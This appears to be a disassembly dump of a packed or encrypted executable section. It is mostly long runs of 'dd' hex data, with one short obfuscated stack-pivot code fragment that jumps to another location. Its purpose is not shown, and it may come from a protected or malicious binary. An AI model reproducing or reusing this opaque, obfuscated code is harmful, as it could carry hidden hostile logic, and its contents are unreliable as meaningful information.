		dd 0E9044389h, 12h, 961CE9D0h, 7136BC34h, 6A84952Bh, 0AB1C4CE5h
		dd 0B9F51FE4h, 234CF6h,	15E9h, 0B958D100h, 76h,	3 dup(0)
		dd 0C8E90000h, 6800000Ah, 7AEDC9Ah, 0FA6EFCE9h,	0DDA968FFh
		dd 0F2E907AEh, 68FFFA6Eh, 7AEDF52h, 0FA6EE8E9h,	0DFFD68FFh
		dd 0DEE907AEh, 68FFFA6Eh, 7AEE139h, 0FA6ED4E9h,	0E30368FFh
		dd 0CAE907AEh, 68FFFA6Eh, 7AEE41Ah, 0FA6EC0E9h,	0F00EB9FFh
		dd 0CA5C8EE1h, 0A67068BBh, 7D874497h, 53AF1B6Eh, 5FE00344h
		dd 35889763h, 0D606F87h, 0E63948DEh, 0D81423F5h, 1D148EF7h
		dd 0FB967A14h, 12E4D554h, 0D05A9320h, 0B960AC1h, 6A2275DEh
		dd 485F7A0Dh, 0F5F809Ah, 0E0BE9D8Fh, 0C86ABD1Ah, 6EB8344Bh
		dd 0BFB14575h, 0FCCECEEFh, 0D06085B5h, 0B3516BE6h, 0C6505AF4h
		dd 1DBB80EFh, 306C580Dh, 52D20Fh, 718B0000h, 0DE47742Fh
		dd 7A0D48C5h, 0EF3A67E7h, 0BD3C1C86h, 99518E6Ah, 8FCB9B8Dh
		dd 6B85466Eh, 8F3C639Ch, 0B7B38375h, 0F1121EABh, 0BCED2E70h
		dd 0D026956Ah, 8E9851DEh, 397379Ch, 68425C70h, 0D090F929h
		dd 11F05E6h, 546E0000h,	0EC97A2Ah, 3F5273FCh, 2D8487A1h
		dd 9F074229h, 75F7D0A3h, 67887821h, 83758738h, 940E77C2h
		dd 3472660Ch, 59EA1C4Dh, 5F9CB63Bh, 0D5A59763h,	9D497899h
		dd 8E3D5481h, 95B68678h, 2595AC6Dh, 0EE0FDFD1h,	823F0EBFh
		dd 7AB68678h, 38C2FB88h, 5CE88429h, 46777265h, 9952A5B4h
		dd 0D4101ED2h, 0F4AFF1E2h, 8F137CC7h, 1B726553h, 0CC177A9Bh
		dd 0D1F204B5h, 0D78D350h, 4A59D97Ah, 0E53FACC3h, 2D534FB8h
		dd 0D7576ABDh, 267D23B6h, 0DD3190F9h, 37B77267h, 0B74BF0Ah
		dd 63127C97h, 556FB934h, 1A56A018h, 421CCAF9h, 3629C18Ah
		dd 505F9B63h, 1F35C1FDh, 2DB5A0CBh, 56A17C14h, 3B000008h
		dd 1063728Ch, 0EA3D4CDEh, 0C61928F6h, 9DF0FF19h, 85C6D521h
		dd 1DF9E55Eh, 0F501BB0Eh, 0CE5893E6h, 0A9736CBFh, 147D5E9Ah
		dd 7A141E8Eh, 0A1DA811Ch, 4959A487h, 4BB4AD48h,	72655E57h
		dd 7697D353h, 707F9B47h, 4B5AAC1Dh, 885F79C4h, 994E25F9h
		dd 0FA4260ABh, 2B687265h, 62763BFh, 508AA1F3h, 0E304D4C6h
		dd 2C595050h, 0D48E0C3h, 56EB97Ah, 6ABD3C9Dh, 0E18D00Dh
		dd 17104C1Ch, 0DF2F50AAh, 108E6D5Fh, 986ABD3Ch,	35652C7Eh
		dd 41E6D042h, 0BBh, 12E4D5FAh, 0E579320h, 875749DFh, 0F27A594Bh
		dd 6D726546h, 489BAA7Ch, 0D2938597h, 873900BBh,	0BC493B77h
		dd 98B9F50Fh, 0E3109B05h, 0D62A97Ah, 38C3037Ah,	0CA79DDB5h
		dd 0CE933120h, 5E9A123Dh, 445C1322h, 0CEE5305Dh, 4616081Eh
		dd 1E0CA425h, 7ABA7267h, 0B51E13B0h, 6311F8EDh,	0C9413DBDh
		dd 0BFEC2814h, 0A8233AA8h, 0C013225Eh, 5AE2F802h, 0CD2DB443h
		dd 7475A35h, 0BD2C0000h, 0C9015463h, 0E5DB2E3Dh, 0AB70A19h
		dd 508EE1F0h, 6D76B7C6h, 0FD0C16D4h, 0D5E432AAh, 0AEBD4B82h
		dd 8998625Bh, 9F036C4Dh, 0B7A141Fh, 0E9D5C970h,	42EFB31Ch
		dd 3BBB7265h, 2C9DF0FFh, 0D594CBDAh, 932012E4h,	0AC1D05Ah
		dd 0CAE84B96h, 7183C78Dh, 3773AF7Fh, 30A8BF0Ah,	3F44C5E6h
		dd 2D7A0DACh, 0BD2EBBADh, 0B0DF11ABh, 5412BDAh,	0E02AA3F6h
		dd 13B00FEEh, 0E179F204h, 3ACCFDC9h, 15E7D82Bh,	0CD5B4423h
		dd 706AE377h, 0BB27B4A6h, 0BDB36D5Fh, 7A7096EDh, 0D3259620h
		dd 30233DC4h, 11EBD8CFh, 8B692E15h, 0AECF5992h,	0CABC4E7Fh
		dd 782BB0EBh, 0EEBC0EE3h, 0E815E7D8h, 0F9D9BCEh, 776DFCA6h
		dd 322EAEE3h, 585428EFh, 85195B72h, 86CBECA9h, 5E96E5FFh
		dd 2FAED233h, 1CEEDF0Eh, 11EBD8EFh, 0C9D7C8F0h,	0AB4CB5E2h
		dd 96EB1F79h, 51C0E24Bh, 0D30BDBCFh, 8CAD2D47h,	0F6ADBC3Ch
		dd 69D2FFAAh, 0E37757DAh, 0C1A09212h, 0D4274ADEh, 9918B2CCh
		dd 7D663069h, 33175h, 0D7062E00h, 5A87227Eh, 1BE8743h
		dd 0F93505F7h, 132A75D8h, 8C5C4ED8h, 0ACCD5993h, 0D488C2Bh
		dd 0A11E357Ah, 66E63657h, 0EE8F613h, 0A9F7EBCCh, 3F8AD502h
		dd 9B52FE25h, 752CBF3h,	0E9AEC89Bh, 0B15D20Fh, 522DAECFh
		dd 12F156D5h, 0C8DFA092h, 0CF654610h, 3386CC02h, 5D43D6F7h
		dd 89C55189h, 8393455Ch, 2296FF62h, 0B4E9B205h,	0A2BC0734h
		dd 0FA45CF9Eh, 0F3E5FD0h, 0EA3D4CDEh, 0A37D6AF1h, 8FA5E1B1h
		dd 0BAED0FD7h, 9EFDD870h, 83000005h, 58ABBA44h,	32859466h
		dd 0E6170BEh, 0E53847D1h, 0CD0E1DF9h, 65B12D16h, 3DC90356h
		dd 16E0DB2Eh, 0F13BB407h, 5CC5A6E2h, 7A142146h,	7122C964h
		dd 0DE47742Fh, 7A0D5EA5h, 0C85547C7h, 0AF130517h, 0DBC5BD0Dh
		dd 548CA3D0h, 0E708D8CAh, 42681B84h, 0C7047265h, 0B5C4001Ah
		dd 55A1172Eh, 85D40534h, 9082BE58h, 4E40CA03h, 0BA0C9E94h
		dd 59D0601h, 0A563150Ah, 52DAE925h, 0EE787422h,	2212Eh
		dd 2F71E700h, 80DE4774h, 0A27A141Dh, 0E0DEF522h, 36B40716h
		dd 821BFAECh, 3F6AB668h, 0FA667C8Eh, 3D254958h,	4F3CAA5h
		dd 0E9D80000h, 3DAD000Fh, 5187DAE9h, 6663B6C5h,	8C3A8D9Ch
		dd 0C1226372h, 0A9B84280h, 81906656h, 5A69BF2Eh, 3544D607h
		dd 0F3AF18F9h, 0B77A1420h, 2F71751Ch, 80DE4774h, 0A27A141Dh
		dd 52DBF522h, 0FFFAEF7Eh, 89163E5Fh, 64B7C650h,	22AFA16Bh
		dd 0B36D5FA9h, 0E0D9EDBDh, 4F7F0716h, 5BE6D6EAh, 196h
		dd 12E4D514h, 0D05A9320h, 0B960AC1h, 782A93DEh,	32726542h
		dd 0C52E91B2h, 7A0D6AD2h, 0FE1542C2h, 0EF1738CEh, 0BD1A8E10h
		dd 0AA001A6Ah, 6E349DE8h, 5A6ABD1Ah, 0AF923FEDh, 7AFA145Ah
		dd 38C5F559h, 25D1E6D0h, 8A000000h, 47742F71h, 0D48C5DEh
		dd 7567E77Ah, 0BD3C0896h, 3486A06Ah, 0D0423D6Dh, 0DF0C23E6h
		dd 0B4E72445h, 0A0000000h, 2012E4D5h, 0D9CB5793h, 2F98934Ch
		dd 72654273h, 0A2946658h, 0FC38B8D2h, 0BA4C7D0Ah, 476606ABh
		dd 0AEC57265h, 24F4E630h, 111BD403h, 4E554B02h,	0EB76B821h
		dd 0EE397A0Fh, 0BA901D85h, 0EC0D8D6Ah, 5045C9Ch, 987739A3h
		dd 7BE42F5Ch, 6ABA9427h, 7FE20383h, 91A07A68h, 0D1B6803Eh
		dd 0AEF6764Dh, 5F031955h, 0D0254D6Dh, 3B75D38h,	2D9C0000h
		dd 7971C4D3h, 954B9EADh, 0BA277A89h, 0C0FE5160h, 0FDE62736h
		dd 6D7C8644h, 4554A21Ah, 1E2DFBF2h, 0F90812CBh,	2F73DCBDh
		dd 7B7A1423h, 0E9D539E0h, 32ABFE0Dh, 3B52D9E8h,	3B77738Fh
		dd 0BCB4E2AFh, 0D5E7FA1Bh, 5F2012E4h, 5F809A48h, 5E6DBF30h
		dd 85B2F9A7h, 0CEB9203Ah, 0FBFF9C56h, 289E59DAh, 89A37A0Eh
		dd 7F70D6D0h, 774AB1ADh, 0B63686A7h, 0B07E7289h, 0A5CDEEBEh
		dd 191CCDE4h, 0BE1BF2B0h, 0FC38B86Ah, 98193A0Ah, 6ABE1B08h
		dd 540E9C92h, 0A7FB644Ch, 36ABE1Bh, 1B792992h, 0B1316ABEh
		dd 0C10C3975h, 72A5CBA7h, 548C89EAh, 0CC08D8CAh, 0A6CD2AABh
		dd 7877265h, 0E4D5C1F8h, 5A932012h, 960AC1D0h, 2275DE0Bh
		dd 727A0D6Ah, 7D2100F2h, 2B6ABD1Ah, 0AD6E94AEh,	0E3598615h
		dd 0A9E8C2C2h, 0E6D04879h, 4485h, 0E6D7EE00h, 31522214h
		dd 742F711Eh, 48C5DE47h, 67E77A0Dh, 5BA7233Ah, 50789969h
		dd 0BD3C2D71h, 0E28966Ah, 0A028A883h, 0D1C3FF87h, 0AC38A44h
		dd 6DD2C400h, 92A6FDCDh, 2F5F2278h, 3BE6D102h, 0EDh, 12E4D5F4h
		dd 0CB579320h, 25B879Eh, 79493BC5h, 67F41C3Dh, 0F1B2A476h
		dd 2517E1DAh, 97615C55h, 0C4964776h, 0D128988Bh, 0E3F22E28h
		dd 65602E3Eh, 6EB83172h, 66B02A41h, 56D2D039h, 58D87265h
		dd 2E9FF237h, 0A7F9EADCh, 566CFFCh, 377A0D65h, 0ED0150F7h
		dd 0A8D5BB70h, 0BD48633Fh, 8BC7476Ah, 0EEDEF57Ch, 35562618h
		dd 49B2FEA2h, 6ABD4859h, 6895D151h, 67F929FFh, 0E00D8D72h
		dd 0F2011DC9h, 0AC1A239Fh, 63906052h, 1298A8FAh, 46820263h
		dd 0B5291030h, 805BF32Dh, 1EDh,	0FA0917D2h, 0D4E337A7h
		dd 0B0BF4F81h, 8796605Dh, 5D6CB634h, 4876C71Ch,	904C9FAEh
		dd 0A9247786h, 0CCFD505Fh, 0EEF2B3Ah, 1424FDA5h, 6B12AD7Ah
		dd 0E00DE9D5h, 0E0011DC9h, 8597489Bh, 3CF93E58h, 0DEDA24A1h
		dd 0CECAF46Dh, 2A74BCD7h, 236889D9h, 0B42F71ECh, 0D6381F9Bh
		dd 0CCF9351Bh, 0E064063h, 0A52C6C7Ah, 7F9745CAh, 24C1BD8Dh
		dd 5B4D8966h, 0BE36227Ch, 5E6C866Ah, 0CF482353h, 0D82FE6h
		dd 0A1E80000h, 0D1C35D8Ah, 38B1E001h, 0F03BFCEEh, 65421B87h
		dd 9A528F72h, 8ECA9A8Ch, 76803E6Dh, 19752F49h, 39F2DA14h
		dd 5B11F018h, 0D0726626h, 4F600B9h, 0EBE41334h,	0EBF1221h
		dd 87190AFCh, 0E4D8EF1Ch, 258EF112h, 7A0E2B46h,	324976F6h
		dd 0A4F70BEh, 0FC654D53h, 6ABE0DA6h, 0CF888404h, 0D2C26C20h
		dd 4FB8E521h, 7267F67Ah, 0BAD1FE7Eh, 6E88350Ch,	859C2332h
		dd 41CEC056h, 113E7A84h, 129BFAA8h, 0F30B063h, 218E2E0h
		dd 2DB525ECh, 0D64823BBh, 0BB000000h, 90E3F20Ch, 6ABDCC5Eh
		dd 4699A876h, 1D707F99h, 54655A1h, 9D7965DEh, 75813B8Eh
		dd 4ED81366h, 29F3EC3Fh, 94FDDE1Ah, 7A14260Eh, 0D55A019Ch
		dd 77FE0DE9h, 0A6986260h, 5586B5D6h, 743D506h, 0E4D5C1F8h
		dd 5A932012h, 203AC1D0h, 79296EDh, 0EA3CAF74h, 0F3EC28F8h
		dd 7B0E2FFBh, 0E8517E25h, 7A147372h, 2407B95h, 2521FBE8h
		dd 0FB1C23BDh, 0E7FE2BABh, 0D7FF20FAh, 7887914Ah, 7062B425h
		dd 0CE2D1F91h, 4654ECDBh, 20B8223Ch, 0F8975857h, 0D5F632C4h
		dd 0D4E335A6h, 361E334Dh, 5C0BF5C3h, 49D30C3Bh,	31DCA57h
		dd 0BF0BAD11h, 3764B627h, 6759A320h, 2517E1DAh,	0B3F81955h
		dd 0AB9D6F60h, 6C369FEAh, 3EF99F08h, 214C5BEh, 364E1h
		dd 0E59D0000h, 0CEAD562h, 0CA5C8D1Ah, 86904BD8h, 41D50794h
		dd 0FA04C24Fh, 0B34F7B08h, 6DB734C1h, 2CFAEE7Bh, 0E93DAD3Ah
		dd 7B6879F7h, 89000004h, 0E589242Ch, 4C581h, 0ED830000h
		dd 242C8704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h
		dd 2414895Ch, 204368h, 24348900h, 1458BF57h, 0BB5316FDh
		dd 6D0275C3h, 815BDF01h, 6E2198C7h, 0AFF78106h,	898DC370h
		dd 8B545FFAh, 0C4812434h, 4, 0C7BA5252h, 31076C00h, 5A042454h
		dd 8108468Fh, 0C70876h,	34FF076Ch, 0C4835E24h, 2434FF04h
		dd 4C4835Ah, 0FA6444E9h, 0CE0B50FFh, 0B81CA13Ch, 7AEE515h
		dd 0E0FFC503h, 0CA3A297h, 569C128Ch, 704A0459h,	6FC8FC58h
		dd 7BAC96D7h, 2AFE0759h, 4E502581h, 0FE8h, 0B97DD100h
		dd 0BAA6D074h, 0B4ABCCD0h, 0AADBDC82h, 13E85Bh,	66EA0000h
		dd 1AD31195h, 0B1C71A39h, 0DFA11173h, 0D6CB0AF7h, 0CE981h
		dd 0F91B0000h, 6AE03203h, 5D8436E9h, 815E12C2h,	71ECC3h
		dd 0C7816600h, 0C0335CA8h, 4840Fh, 0BA660000h, 0C8B9581h
		dd 0D45EBF03h, 0C18146CDh, 5D7D5B5Ah, 0CE9h, 941EAF00h
		dd 22C58C83h, 893B3C68h, 0F7E981F8h, 665AEBF0h,	0F181D18Bh
		dd 22B3A11Fh, 2860Fh, 0D68B0000h, 60030C89h, 5047C981h
		dd 0EE954F2h, 92000000h, 0C5CA93B9h, 8B36C690h,	0E676495h
		dd 0E88361DAh, 14800F04h, 0E9000000h, 0Fh, 29133C00h, 0CC52EB1Bh
		dd 4A18272Dh, 8154358Eh, 0FF8EECF8h, 83850FFFh,	0FFFFFFFh
		dd 880h, 0B8666000h, 5B501C69h,	8D8D8D61h, 6007AEE7h, 5B616057h
		dd 68E0Fh, 85890000h, 7A81941h,	318D8961h, 6A07A817h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 9028C351h, 0EE9h, 42772E00h,	0AA3D23E6h, 0DCF3D89Ch
		dd 3333D2DAh, 0A80019BDh, 5985C707h, 7C07A80Ah,	6A00006Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89DEC351h, 0A8136D9Dh, 2850F07h, 0B0000000h
		dd 3985C759h, 7A809h, 80000000h, 890F39C6h, 8, 860F57h
		dd 5A000000h, 10A9B5FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 66ED83C3h, 0FF7AD0BAh
		dd 0A81A9995h, 810F6007h, 6, 84C1EE81h,	0BB666924h, 6A611278h
		dd 2195FF00h, 8B07A80Dh, 0A349EBC0h, 358B5E0h, 2C7E8AC3h
		dd 3A07DADBh, 0EEDBE049h, 0CA2FBADFh, 80F4A8D9h, 0F7D86039h
		dd 0ABC7240Dh, 15EEF1A1h, 36FF46B8h, 0A3BB6F42h, 615DDDB6h
		dd 1248C48Ah, 0F5469EF3h, 418FB456h, 0F3C37A50h, 0C335A7D9h
		dd 0D5E389D4h, 13E8h, 1337B400h, 9A4CBBBAh, 3A5846CBh
		dd 791EFA24h, 0A8C983FFh, 59DF8B66h, 6890Fh, 8D890000h
		dd 7A80CF5h, 5E07C181h,	0E9600000h, 14h, 988BFBD0h, 0CCA68A0h
		dd 0FB044ED0h, 0EE84894Fh, 72C64472h, 68E0Fh, 0D8810000h
		dd 474AB409h, 1757BF61h, 95890000h, 7A828D9h, 0F57018Bh
		dd 815AD3B7h, 3BDBF7C0h, 0D381664Eh, 0C0814890h, 5635823Ch
		dd 81DF8B66h, 0C7D5B8E8h, 50D68B1Ah, 212D9D89h,	18F07A8h
		dd 3559958Bh, 0E98307A8h, 6820F02h, 23000000h, 0A81CD195h
		dd 4F494907h, 0FFB6850Fh, 8B60FFFFh, 0A81B7D9Dh, 61C18B07h
		dd 13E8h, 63BA300h, 0B76BF421h,	74E0DC61h, 1B9B4389h, 90214ACDh
		dd 9E953h, 57570000h, 15BBA910h, 5E4D0743h, 0C081F558h
		dd 6CD5h, 0FDBD2B60h, 3307A82Fh, 0A80E1D85h, 7B96107h
		dd 6600001Bh, 97A6E281h, 0B53130FFh, 7A807E1h, 2078BA5Fh
		dd 0C7813DD1h, 16D83A21h, 1B8DB58Bh, 0F78107A8h, 0DDAB844h
		dd 4AC28166h, 0AFF78163h, 8948522Ah, 0A81861BDh, 89388907h
		dd 0A82AC995h, 0E4E88107h, 291F5548h, 0A82A6D85h, 0E0C08107h
		dd 8A1F5548h, 1E983F3h,	10850Fh, 0DE810000h, 43883D0Bh
		dd 19E9h, 0B7931400h, 9589A7F9h, 7A80AD5h, 0FFFF8FE9h
		dd 5ED287FFh, 0E1286E78h, 8D8DD739h, 7AEEA36h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 18C35747h, 1CBE3518h
		dd 896C567Dh, 0A817318Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 8AAC5E5Eh
		dd 0F1A5021h, 880FD0BFh, 5, 22E68166h, 5985C78Bh, 0AC07A80Ah
		dd 0E9000072h, 8, 8689F182h, 0D7710A05h, 93985C7h, 7A8h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0A2C1DEC3h, 8BA3735Bh, 0A8036585h, 0F5958907h
		dd 0FF07A830h, 0A805FDB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B1A486F6h
		dd 1A9995FFh, 0BD8B07A8h, 7A81DEDh, 95FF006Ah, 7A80D21h
		dd 5BEBC08Bh, 0DB4E7183h, 4CEBDD8Ch, 8BCA62Ah, 5A1F5463h
		dd 0D8560184h, 197F269Dh, 3081B480h, 8341E02Fh,	0EDAA746Bh
		dd 0C64CC72Fh, 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh
		dd 0DC3AA07Ah, 0E32C6653h, 38FDEC8Eh, 9745CD2Ch, 0C0E02817h
		dd 513411DCh, 89F59B05h, 0D454BAE2h, 0E98A69A8h, 20h, 7DFE3B0Bh
		dd 7 dup(0)
		dd 51EE9h, 0EBCE6800h, 0E8E907AEh, 68FFF994h, 7AEEC35h
		dd 0F994DEE9h, 0EDA968FFh, 0D4E907AEh, 0E9FFF994h, 311A2F28h
		dd 765F7463h, 0B7A0B5A2h, 0F6DFF4E3h, 0D1B3027h, 2D2AE9BCh
		dd 6F682F18h, 0B3A4715Ah, 0F2E5B59Eh, 185EFDDDh, 0CBAA86E2h
		dd 0C7A04EE8h, 0BB380314h, 3DE7FC1Bh, 0BA0FFCD8h, 0F6C1D681h
		dd 34211129h, 3ADB0199h, 56244633h, 720C1E0Fh, 78B36Dh
		dd 0DD1B7C40h, 245EE8C5h, 3FDB01AAh, 4C4B0942h,	0A7BFD87Bh
		dd 3D75218Ch, 4E3FFC7h,	2F9h, 0EBECB0E9h, 553B5320h, 65876FC3h
		dd 0E58FAEC7h, 0D4C3967Bh, 611B3C09h, 1D450A7Dh, 0C2667E69h
		dd 4E948155h, 0DB00FE2Dh, 35032C33h, 0D8666474h, 68558196h
		dd 1A3DDA13h, 7A6A824Fh, 0E00E7CD5h, 0CB09D4DBh, 7B9D8A4Ah
		dd 0E27525ADh, 2C2B439Eh, 0B7698BE6h, 9D8A91E7h, 0EB182648h
		dd 0C7F566E0h, 0D0ACCAFh, 1FBAF3F8h, 48602DF8h,	0AAA2B565h
		dd 0E76BC6D3h, 6AEFC75Ch, 0F9000003h, 412A3F58h, 866F8493h
		dd 0C7B0C5D2h, 6EF0413h, 1D2B4057h, 3D5AF9ACh, 7F983F28h
		dd 0C3D4816Ah, 215C5AEh, 286E0DEDh, 0CBAA84F2h,	6B05EF8h
		dd 57401511h, 0B19EBF8Ch, 9CB4A378h, 490F489Dh,	0AB46364Eh
		dd 0B1DB085Ah, 0D184BDAAh, 15C8B1C6h, 72AD3702h, 55DB085Ah
		dd 0D59A9285h, 42F4983Ch, 303D5ADh, 0C1920000h,	4D8C1D6h
		dd 4315FE13h, 80563F54h, 0FA998297h, 0FBAC8DDh,	0BBD0C796h
		dd 0FB1007D2h, 3D524512h, 80958254h, 85BB01A0h,	8BCBAA84h
		dd 56AB43F1h, 5970DA10h, 0C1D9E0D3h, 0EFDC381Dh, 85B0EA9h
		dd 420D14DBh, 85B7EB8h,	158099DBh, 7463316Ah, 0C4C4DCA9h
		dd 0E3F6E88Eh, 1B853h, 17C75100h, 3EDA1300h, 0DEA9AE69h
		dd 0BD03F011h, 0D3597087h, 916E868Dh, 0F3A54214h, 9DD6C3E4h
		dd 9FC6DEF9h, 0C7B460F5h, 1984081h, 6CB207DBh, 0DB019836h
		dd 5D1D353Ch, 6E306956h, 0B9D19E69h, 981852DCh,	1A33DB01h
		dd 254F03AFh, 8DAFE3F0h, 4EC62CFEh, 7B97AF8Ah, 5Dh, 0C5110679h
		dd 0DEF99FD8h, 0FE347A13h, 4D3596Fh, 0A9EFDCFDh, 0D3597073h
		dd 5B5A7279h, 90ECD06h,	76CC01F1h, 32D2DB01h, 0EF3534A0h
		dd 0DB01C3B9h, 0F0FEB8BFh, 653051C8h, 257A1DBh,	38A3BCDBh
		dd 0FF18C68Ch, 59FF38E3h, 0D10A263Eh, 0EF000000h, 4F1E6B6h
		dd 24B88BEh, 6F878EDBh,	17C789h, 0F2E5B835h, 0EFE8AA27h
		dd 0E0F7A724h, 0CF8DC6CBh, 64C0B0C8h, 47D35975h, 0C16B8097h
		dd 386EB454h, 3ED35975h, 0D4291637h, 0C3DBFC9Bh, 42329D3h
		dd 3B282FDBh, 67899F19h, 4860F7FFh, 4A4D1049h, 6572245Dh
		dd 8EB5CD9Ah, 6331F6A5h, 5B5374h, 81F49CC0h, 18F14ECh
		dd 7D1E0000h, 0B85C455Ah, 0F7A18A9Fh, 34E2CBE0h, 76250E23h
		dd 8B3E4C61h, 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh,	4193EE0h
		dd 93F8524h, 0FCBAA83h,	56ABC775h, 8D587F1Dh, 70ACE2C0h
		dd 12B2D359h, 0A49227CAh, 0CCE40591h, 1B612AE9h, 0D35920E5h
		dd 213066ACh, 2F36D359h, 44597A81h, 0C03BB5Bh, 0FF20D452h
		dd 5F4B6081h, 350017C7h, 0DCF1E6B8h, 4F12532h, 1BED1BEh
		dd 0E3D0D7DBh, 983CEBAAh, 0EFE8AE7Fh, 21365724h, 1BDF12Bh
		dd 1502D4DBh, 53441700h, 549AEF88h, 0DB01BE1Eh,	0C7051D24h
		dd 0EDh, 2C110609h, 0E767A39Fh,	3A274896h, 0C7955201h
		dd 17E4AFD0h, 56AB00FFh, 5925DA10h, 0C1D9E0D3h,	81032D1h
		dd 663138DBh, 412E29E9h, 79445308h, 686D94ACh, 0B6CCEE46h
		dd 0F30B44AAh, 377D4E10h, 0DB07D301h, 14DF0007h, 8790427Bh
		dd 0E7D7EFBCh, 55589F09h, 5F2A2DECh, 0FC8836E2h, 0C63C49Ah
		dd 8FD8A3C4h, 0D584137Eh, 1AF9A1C2h, 8032B8F8h,	0BBEB7823h
		dd 6621C12h, 344F6760h,	83C91EC9h, 5558EE4Dh, 51344C53h
		dd 98819681h, 637421C6h, 0C11CB98h, 0B5F2D485h,	0EA673253h
		dd 0E5602B2Ch, 0CD22CD38h, 59445187h, 9CD21855h, 0A2555944h
		dd 0CEE6ED9Bh, 27932BEBh, 0FF2FEF04h, 555A6F90h, 8E84BA00h
		dd 838A5558h, 29F4E3B2h, 0B161445Ch, 1603DBA6h,	2C000000h
		dd 0A6E9DE0Ah, 18309FCFh, 1056AB32h, 0D35970DAh, 0F3C1D9E0h
		dd 116C755h, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
		dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 2F683CF4h
		dd 89000038h, 0BF68240Ch, 89000064h, 8952243Ch,	4C281E2h
		dd 81000000h, 4EAh, 24148700h, 240C895Ch, 13C8B850h, 0BA5226B5h
		dd 1F0628EAh, 895AD029h, 8B5458C7h, 0C481240Ch,	4, 8B850h
		dd 0C8010000h, 48B3889h, 4C48124h, 8B000000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		db 99h,	0CBh, 0BFh
		dd 39E38D8Dh, 0B8665C31h, 7AEEF5Dh, 0E0FFC503h,	72DFFD27h
		dd 5EEAF8B6h, 5F69D249h, 5174C0B4h, 52158D58h, 7976A9E8h
		dd 72189465h, 7D65911h,	0B2DCF03h, 271C284Ah, 27665087h
		dd 78847618h, 65C52BAAh, 5E09DE29h, 1C37988Ch, 6242D68Bh
		dd 17B9817Bh, 1252BC76h, 4AF05DEh, 0B2D190Ah, 77CDEBFCh
		dd 13713A97h, 2C6DDA44h, 3B9450D5h, 54BA58C0h, 6F9B027Bh
		dd 9D59F55h, 34E6B4ACh,	0F1428D8Dh, 6A07AEh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F9177C3h
		dd 894055B7h, 0A817318Dh, 318D8907h, 0C707A833h, 0A80A5985h
		dd 5BD807h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 3C17361h,	0A8105585h, 3985C707h
		dd 7A809h, 89000000h, 0A80F39B5h, 0BA665607h, 0FF5FA058h
		dd 0A805DDB5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9529EF5Fh, 7A832C1h, 97FCDE81h
		dd 0DE922CEh, 37000000h, 0A984C227h, 0AFABC5A7h, 0B2B82162h
		dd 1A9995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0D3A029C3h, 958B563Bh, 7A81DD5h
		dd 95FF006Ah, 7A80D21h,	69EBC08Bh, 199376E6h, 0ABC20CFCh
		dd 0A0759392h, 0BB81C1AFh, 0AACED18Dh, 89E0E78Fh, 7A1F3427h
		dd 0A8839088h, 6EBD750Eh, 3682561Bh, 0DEBC1CEFh, 0B3E37FF0h
		dd 7737F00h, 0BFC778BDh, 914758A9h, 87BCB3BFh, 88555EAh
		dd 614849D2h, 26A7348Fh, 55DBFD61h, 0FCF0450Ch,	0E4F4DCB5h
		dd 4A4914D6h, 7E11C605h, 0A7C73069h, 3038F183h,	848D8D7Ch
		dd 6A07AEF2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 123CC351h, 8D8962FFh, 7A81731h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DEC35646h
		dd 0E9AB4FCDh, 81A4AA95h, 71C0BFC2h, 5985C76Ah,	7807A80Ah
		dd 8B000067h, 0A8100985h, 3985C707h, 7A809h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 72FCC351h, 9D8B421Ah, 7A80315h, 1E21BD8Bh
		dd 0B5FF07A8h, 7A82641h, 9589FE8Bh, 7A808A1h, 1A9995FFh
		dd 0FE807A8h, 4E000000h, 5A37651Eh, 51FB46ACh, 83F072E2h
		dd 858BEB48h, 7A827EDh,	0EB816658h, 6AD7F9h, 0D2195FFh
		dd 0C08B07A8h, 50E819EBh, 461B3EDBh, 98615BA8h,	0C4BBF2A6h
		dd 31400D5Bh, 0BB8CB9A5h, 0E82EFFEEh, 0Bh, 3790FC5Dh, 7FFB549Fh
		dd 8165AFC4h, 773BE0E3h, 0CE85F09h, 0D3000000h,	29DFB3B0h
		dd 0CE34986Fh, 0F807FD7h, 686h,	800F00h, 5B000000h, 73FBC781h
		dd 10E90000h, 1000000h,	0A159B7F3h, 0D2D8217h, 8119AE52h
		dd 68BAB4A3h, 1CCEh, 59DBBF0Fh,	958B378Bh, 7A80BD9h, 2D94EE81h
		dd 9D017017h, 7A8195Dh,	0E89DF681h, 95233D51h, 7A80BC9h
		dd 0FA0AC681h, 858971FAh, 7A830C9h, 0ADB58956h,	8F07A806h
		dd 89E88007h, 8904EF83h, 0A80CED95h, 1E98107h, 0F000000h
		dd 1585h, 0E9D18B00h, 1Fh, 885BE1FAh, 70C889EBh, 0C69335F7h
